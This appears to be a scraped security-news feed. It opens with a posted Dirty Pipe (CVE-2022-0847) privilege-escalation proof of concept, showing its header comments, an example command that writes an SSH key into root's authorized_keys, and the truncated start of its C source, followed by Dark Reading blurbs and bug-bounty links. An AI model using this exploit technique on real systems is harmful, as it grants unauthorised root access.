Hacking Articles Tips Tricks Videos Tutorials

5 views15:40

Exploit Collector
Dirty Pipe SUID Binary Hijack Privilege Escalation

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
Variant proof of concept exploit for the Dirty Pipe file overwrite vulnerability. This version hijacks a SUID binary to spawn a root shell.

MD5 | 7068d6d27faedd0b32b56e4d39ae9688

Download

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in// 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h
#include <fcntl.h
#include <stdio.h
#include <stdlib.h
#include <string.h
#include <sys
#include <sys
#include <stdint.h

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

6 views15:40

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
AppSec Startup Cider Security Emerges from Stealth to Tackle SDLC Challenges

Cider Security tackles the No. 1 problem in application security -- finding and fixing vulnerabilities in code quickly -- by increasing visibility over code development and deployment.

6 views15:47

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
8 More Women in Security You May Not Know but Should

Dark Reading highlights women who are quietly changing the game in cybersecurity. We also revisit some of those we've spoken to in the past to see what they're up to now.

6 views15:47

Source

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
7 Essentials for More Security-Aware Design Automation

Electronic design automation solutions, software programs that help designers develop electronic systems and semiconductor chips, can be used in service of security assurance.

5 views15:47

Source

Hacking Articles Tips Tricks Videos Tutorials

5 views15:47

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
Breaking the Bias for International Women’s Day 2022

The theme of International Women’s Day 2022 is “Break the bias." This is what #BreaktheBias means to me.

5 views15:47

Hacking Articles Tips Tricks Videos Tutorials

Log4shell in google $1337.00

Looking through the google cloud console for products “https://console.cloud.google.com” to look for bugs i came across VMware Engine.Continue reading on Medium »
Read more...

6 views15:48

Hacking Articles Tips Tricks Videos Tutorials

Gallery Tryhackme Walkthrough part-1

File uploading attackContinue reading on Medium »
Read more...

7 views15:48

Hacking Articles Tips Tricks Videos Tutorials

6 views16:08

Hacking Articles Tips Tricks Videos Tutorials

Gallery Tryhackme Walkthrough part-1

File uploading attackContinue reading on Medium »
Read more...

7 views16:08

Hacking Articles Tips Tricks Videos Tutorials

Log4shell in google $1337.00
https://medium.com/@amnotacat/log4shell-in-google-1337-00-144684269bf8?source=rss------bug_bounty-5

8 views16:11